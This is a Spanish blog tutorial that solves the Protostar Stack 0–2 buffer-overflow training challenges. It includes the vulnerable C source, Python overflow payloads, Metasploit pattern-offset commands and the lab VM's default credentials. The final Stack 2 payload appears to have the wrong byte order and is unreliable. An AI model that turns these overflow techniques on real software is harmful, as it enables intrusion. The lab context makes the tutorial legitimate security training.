Hola, hoy vamos a resolver algunos retos que nos ayudarán a iniciarnos en el mundo del exploiting, para esto he elegido los retos Stack de Protostar que son muy sencillos pero están muy bien para entender cómo funcionan los desbordamientos de pila.
Os recomiendo que descarguéis la maquina virtual y trabajéis en ella ya que tiene todo lo necesario instalado: https://www.vulnhub.com/entry/exploit-exercises-protostar-v2,32/
Esta máquina es 32 bits y con el ASLR desactivado, además los binarios están compilados sin ningún tipo de protección (NX, DEP, Canary, …) así que esto solo es una iniciación.
Para resolver estos retos usaremos python, en esta ocasión no usaremos pwntools pero os recomiendo que aprendáis a usarlo si os interesa el exploiting ya que facilita mucho las cosas.
También quiero recalcar que yo no soy ningún experto, de hecho me he decidido a hacer este post para aprender más sobre el tema; si tenéis alguna corrección no dudéis en comentarla.
¿Qué es un Stack Buffer Overflow?
Según la Wikipedia, un desbordamiento de pila es el exceso de flujo de datos almacenados en la pila de una función, lo cual permite que la dirección de retorno de la pila pueda ser modificada por otra parte de un atacante para obtener un beneficio propio, que generalmente es malicioso.
Básicamente hay que desbordar un buffer de la pila, modificando así los datos adyacentes permitiendo inyectar código y tomar el control del proceso.
Si queréis conocer mejor la teoría y así entenderlo mejor, os recomiendo los videos de liveoverflow
Este post está muy bien también: https://blog.elhacker.net/2016/12/se-cumplen-20-anos-del-articulo-smashing-the-stack-for-fun-and-profit.html
Protostar
Para empezar a trabajar solo debemos descargarnos el ISO de protostar e instalarlo como máquina virtual.
En mi caso lo hice con VirtualBox, lo siguiente es ver la ip que se le ha asignado para poder conectarnos por SSH.
Credenciales:
user:user
root:godmode
De todas formas, para los primeros retos me descargue los binarios para trabajar en mi maquina mas cómodamente.
*Os recomiendo añadir ‘set disassembly-flavor intel’ al inicio del fichero ~/.gdbinit para que sea más facil leer el ensamblador.
Stack 0
About
This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.
This level is at /opt/protostar/bin/stack0
El primer nivel es una introducción a los desbordamientos de pila, debemos ser capaces de modificar el valor de una variable desbordando un buffer.
Os dejo el código del primer nivel, aun que no hace falta:
Código fuente
#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }
Como veis debemos modificar la variable ‘modified’.
Supongamos que no tenemos el código fuente del reto, abramoslo con gdb y desensamblemos la función main:
disas main
Se crea un buffer de 64 bytes que podremos dar valor gracias a la función gets; esta función permite escribir más allá del tamaño declarado pudiendo sobrescribir las variables adyacentes en la pila.
Vemos que si escribimos 64 “A” no sobrescribimos la variable que se le da valor en <+9>
Pero en cuanto superamos 64 bytes, empezamos a escribir en la variable.
python -c 'print "A"*64' | ./stack0 python -c 'print "A"*65' | ./stack0
Obviamente si nos pasamos sobrescribiremos zonas de memoria importantes como la dirección de retorno, lo cual nos dará segmentation fault:
Stack 1
About
This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.
This level is at /opt/protostar/bin/stack1
Hints
If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.
Protostar is little endian
Código fuente:
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
Como veis el reto es muy parecido al anterior pero esta vez no nos vale con simplemente modificar la variable ‘modified’, sino que el valor de esta debe ser: 0x61626364
Ademas para modificar el buffer no se usa gets, se usa strcpy copiando el primer argumento (argv[1]) en la variable.
Si no se consigue modificar correctamente la variable, se nos muestra por pantalla el valor; hagamos una prueba:
./stack1 `python -c 'print "A"*64+"B"*4+"C"*4+"D"*4'`
Como veis, el valor de la variable ha sido: 0x42424242 o lo que es lo mismo “BBBB”.
Para resolverlo bastará con concatenar 0x61626364 a los 64 bytes del buffer no? Recordad que el formato es little endian:
0x61626364 == \x64\x63\x62\x61
./stack1 `python -c 'print "A"*64+"\x64\x63\x62\x61"'`
Otra posible forma de obtener la dirección de memoria en el formato adecuado es usar el módulo struct de python
import struct padding="A"*64 payload=struct.pack("I",0x61626364) print padding+payload
Stack 2
About
Stack2 looks at environment variables, and how they can be set.
This level is at /opt/protostar/bin/stack2
Código fuente:
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
Vamos a ejecutar el binario:
./stack2
Tal y como vemos en la imagen anterior debemos establecer la variable de entorno GREENIE y modificar asi la variable ‘modified’ (como en stack1)
En <+84> se compara el contenido de la variable que debemos modificar con 0xd0a0d0a
Ahora tenemos que encontrar el tamaño del buffer, para esto usaremos msf-pattern de Metasploit
Crearemos un patron de longitud 100 y buscamos el tamaño del buffer segun la salida
$ msf-pattern_create -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A $ export GREENIE=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A $ ./stack2 Try again, you got 0x63413163 $ msf-pattern_offset -q 0x63413163 [*] Exact match at offset 64
Ahora sabemos que el tamaño del buffer es 64, asi que solo nos queda concatenar 0xd0a0d0a:
export GREENIE=`python -c 'print "A"*64+"\x0a\xd0\x0a\x0d"'`
Referencias:
https://payatu.com/understanding-stack-based-buffer-overflow/
Muchas gracias por la explicación, estoy iniciando en el mundo del exploiting y este es uno de los pocos materiales que encontre en español de calidad.
Que recomendaciones tienes para seguir aprendiendo, libros, cursos, etc?
saludos
0fgwnd